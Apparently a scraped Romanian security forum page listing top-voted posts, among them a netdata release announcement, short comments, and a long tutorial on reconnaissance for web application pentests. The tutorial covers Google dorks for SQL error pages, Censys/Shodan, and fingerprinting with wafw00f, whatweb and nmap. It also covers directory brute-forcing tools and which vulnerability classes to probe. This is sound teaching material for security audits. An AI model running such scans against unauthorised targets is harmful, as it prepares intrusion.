    netdata Aug 21st, 2016: Netdata got health monitoring - alarms May 16th, 2016 netdata v1.2.0 released! 30% faster! netdata registry, the first step towards scaling out performance monitoring! real-time Linux Containers monitoring! dozens of additional new features, optimizations, bug-fixes May 1st, 2016320.000+ views, 92.000+ visitors, 28.500+ downloads, 11.000+ github stars, 700+ forks, 1 month! And it still runs with 600+ git downloads... per day! Check what our users say about netdata. Real-time performance monitoring, done right! This is the default dashboard of netdata: real-time, per second updates, snappy refreshes! 300+ charts out of the box, 2000+ metrics monitored! zero configuration, zero maintenance, zero dependencies! Live demo: http://netdata.firehol.org Features netdata is a highly optimized Linux daemon providing real-time performance monitoring for Linux systems, Applications, SNMP devices, over the web! It tries to visualize the truth of now, in its greatest detail, so that you can get insights of what is happening now and what just happened, on your systems and applications. This is what you get: Stunning bootstrap dashboards, out of the box (themable: dark, light) Blazingly fast and super efficient, mostly written in C (for default installations, expect just 2% of a single core CPU usage and a few MB of RAM) Zero configuration - you just install it and it autodetects everything Zero dependencies, it is its own web server for its static web files and its web API Zero maintenance, you just run it, it does the rest Custom dashboards that can be built using simple HTML (no javascript necessary) Extensible, you can monitor anything you can get a metric for, using its Plugin API (anything can be a netdata plugin - from BASH to node.js, so you can easily monitor any application, any API) Embeddable, it can run anywhere a Linux kernel runs and its charts can be embedded on your web pages too Link: https://github.com/firehol/netdata
    1 point
  11. RAZOR1g
    never again
    1 point
  12. LLegoLLaS
    1 point
  13. urs
    1 point
  14. staph
    Postase cineva pe chat video-ul de unde provine imaginea, mi-a ramas in history:
    1 point
  15. SilenTx0
    Tin de la inceput sa mentionez ca tutorialul este pentru aplicatii web. De-a lungul timpului am vazut numeroase persoane care, desi aveau cunostinte despre anumite vulnerabilitati web(de ce apar, cum se exploateaza, etc.), nu reuseau sa gaseasca mai nimic in aplicatii web reale. Acest lucru se datoreaza faptului ca au sarit peste o etapa esentiala a unui audit de securitate si anume, Information Gathering. Neavand o metodologie clara si un plan de atac bine stabilit, acestia nu erau in masura sa obtina date suficiente despre aplicatiile pe care le analizau iar ca urmare a acestui lucru nu reuseau sa identifice vulnerabilitatile. In acest tutorial vom discuta despre care sunt informatiile de care avem nevoie despre tinta si cum le putem afla astfel incat sa ne maximizam rezultatele. Asa cum spuneam la inceputul acestui tutorial, Information Gathering este etapa initiala a oricarui audit de securitate IT care poate face diferenta dintre succes si esec. Prin aceastea, pentesterul incearca sa obtina toate informatiile posibile despre tinta folosindu-se de diferite servicii (motoare de cautare, diferite utilitare, etc.). Intrucat nu exista un model standard, fiecare pentester este liber sa isi construiasca propria metodologie astfel incat rezultatele sa fie cat mai bune. In cele ce urmeaza voi prezenta modul in care obisnuiesc eu sa abordez o tinta atunci cand realizez un audit de securitate. 1.Motoarele de cautare Primul lucru pe care trebuie sa il faci este sa cauti informatii prin intermediul motoarelor de cautare folosindu-te de diferiti operatori de cautare. Astfel poti obtine subdomeniile, diferite fisiere, tehnologiile folosite de aplicatia web si chiar unele vulnerabilitati. Exemplu: diferite subdomenii ale yahoo.com Cei mai folositori operatori ai motorului de cautare Google sunt: site: - acest operator permite afisarea rezultatelor doar de pe un anumit domeniu si este extrem de folositor pentru descoperirea subdomeniilor. Exemplu: site:*.yahoo.com filetype: sau ext: limiteaza rezultatele afisand doar paginile care au o anumita extensie si pot fi folosite pentru a descoperi tehnologiile folosite in dezvoltarea aplicatiei web. Exemplu: site:*.yahoo.com ext:php – am limitat rezultatele cautarii la subdomeniile yahoo.com care au fisiere .php intext:<termen> limiteaza rezultatele afisand doar paginile in care se regaseste termenul specificat si poate fi folosit pentru a descoperi diferite vulnerabilitati. Exemplu: site:targetwebsite.com intext:”You have an error in your SQL syntax” site:targetwebsite.com intext:”Microsoft OLE DB Provider for SQL Server” site:targetwebsite.com intext:”Microsoft JET Database Engine” site:targetwebsite.com intext:”Type mismatch” site:targetwebsite.com intext:”Invalid SQL statement or JDBC” site:targetwebsite.com intext:”mysql_fetch_array()” site:targetwebsite.com intext:”mysql_” operatori logici: Google accepta anumiti operatori logici care de cele mai multe ori sunt foarte folositori. De exemplu, putem exclude din rezultate anumite subdomenii folosind operatorul - . Astfel, site:.yahoo.com -site:games.yahoo.com va returna subdomeniile yahoo.com, mai putin rezultatele care au legatura cu games.yahoo.com. Mai multe informatii despre operatorii de cautare pentru Google gasesti aici si aici. Pe langa motoarele de cautare obsnuite ca Google, Bing, Yahoo etc., foloseste si: Censys - Foarte folositor in descoperirea subdomeniilor Exemplu: https://www.censys.io/certificates?q=parsed.subject.organization%3A%22Yahoo%22 Shodan 2. Determinarea tehnologiilor folosite La acest pas va trebuie sa verifici daca: aplicatia web este protejata de vreun Web Application Firewall (WAF) Cel mai simplu mod prin care poti face acest lucru este folosind wafw00f: $ python watw00f2.py http://www.targetwebsite.com aplicatia web foloseste un Content Management System (CMS) open-source (Wordpress, Joomla, Drupal, etc.) Poti verifica acest lucru folosind whatweb, cms-explorer, CMSmap. $ whatweb -a 3 http://targetwebsite.com $ cms-explorer.pl -url http://targetwebsite.com/ -type wordpress Urmatorul pas consta in identificarea sistemului de operare, al tipului de WebServer (Apache, IIS) folosit de tinta si versiunea acestora. Daca versiunile celor doua sunt outdated, cel mai probabil exista cateva vulnerabilitati cunoscute (CVE) in acele produse. Poti descoperi acest lucru cu o simpla cautare pe http://cvedetails.com . Exemplu: Vulnerabilitatile cunoscute pentru Apache 2.3.1 Determinarea sistemului de operare se poate realiza foarte simplu folosind nmap. $ nmap -sV -O www.targetwebsite.com Metodele prin care poti identifica versiunea Webserver-ului sunt: Analizand output-ul cererilor HTTP care folosesc metoda HEAD, OPTIONS sau TRACE Raspunsul HTTP al unei cereri care foloseste una din metodele de mai sus va contine, de cele mai multe ori, si headerul Server. Analizand pagina de eroare 404 Folosind httprecon / httprint . Un alt aspect important il constituie tehnologia server-side folosita de tinta. Cel mai simplu mod in care aceasta poate fi descoperita este urmarind extensiile fisierelor. De exemplu, daca URL-ul tintei este http://targetwebsite.com/index.php , este clar ca aplicatia web a fost scrisa in limbajul PHP. Alte extensii specifice tehnologiilor server-side sunt: .py – Python .rb – Ruby .pl – Perl .php / .php3 / .php4 / .php5 / .phtml / .phps – PHP .asp – Active Server Pages (Microsoft IIS) .aspx – ASP+ (Microsoft .NET) .asmx – ASP.NET WebServer .cfm – ColdFusion .cfml – Cold Fusion Markup Language .do – Java Struts .action – Java Struts .jnpl – Java WebStart File .jsp – Java Server Page .nsf – Lotus Domino server In cazul in care extensiile nu sunt vizibile in URL, poti identifica tehnologia server-side folosita analizand cookie-ul pe care aplicatia web il seteaza. Exemplu: PHPSESSID=12355566788kk666l544 – PHP De asemenea, iti poti da seama daca o aplicatie web este scrisa in PHP si prin intermediul unui Easter Egg. Daca adaugi codul ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 la finalul unui URL iar in pagina apare o imagine amuzanta inseamna ca aplicatia respectiva a fost dezvoltata folosind PHP. Bineinteles, acest Easter Egg poate fi dezactivat din php.ini. Mai multe informatii gasesti aici. 3. Identificarea fisierelor aplicatiei web La acest pas nu trebuie decat sa accesezi cat mai multe pagini alte aplicatiei web, fara a face nimic altceva. Viziteaza fiecare pagina insa nu uita sa conectezi browserul la Burp Suite pentru a se crea site-map-ul aplicatiei web. Astfel vei avea o evidenta mult mai clara asupra fisierelor pe care urmeaza sa le testezi. Foloseste Burp Spider pe langa navigarea manuala pentru a descoperi cat mai multe fisiere. PS: verifica daca exista fisierul robots.txt Dupa ce consideri ca ai navigat suficient printre fisierele aplicatiei web, trebuie sa descoperi fisierele ascunse. Exista numeroase aplicatii care te pot ajuta: Dirbuster Functia Discover Content a aplicatiei BurpSuite Wfuzz Patator Burp Intruder Liste de cuvinte pentru scripturile de mai sus: fuzzdb gitDigger svnDigger SecLists Urmatorul pas este sa iei la rand fiecare fisier gasit si sa incerci sa intelegi cum functioneaza aplicatia web respectiva. Pentru a-ti fi mai usor sa iti dai seama unde ar putea exista o vulnerabilitate, pune-ti urmatoarele intrebari: 1. In fisierul pe care il testezi, continutul se modifica in mod dinamic in functie de anumite criterii (valoarea unui parametru din URL, cookie, user agent etc.) ? Mai exact, este posibil ca in acel fisier aplicatia web sa foloseasca informatii dintr-o baza de date? Daca da, testeaza in primul rand pentru vulnerabilitatile de tip injection (SQL, XPATH, LDAP, etc.) insa nu neglija celelalte tipuri de vulnerabilitati. S-ar putea sa ai surprize. 2. Poti controla in vreun fel continutul paginii? Ceilalti utilizatori pot vedea datele pe care le introduci tu? Daca da, testeaza in special pentru vulnerabilitati de tip Cross Site Scripting si Content Spoofing. 3. Aplicatia web poate interactiona cu alte fisiere? Daca da, testeaza in special pentru Local File Inclusion. 4. In fisierul respectiv exista functii care necesita nivel sporit de securitate (cum ar fi formular de schimbare al emailului/parolei etc.)? Daca da, testeaza in special pentru Cross Site Request Forgery. Nu uita sa testezi fiecare parametru al fiecarui fisier pe care l-ai descoperit.
    1 point
  16. XbPor
    Mai bine condu regulamentar, ca nu degeaba au fost inventate legile de acest gen.
    -1 points
×
×
  • Create New...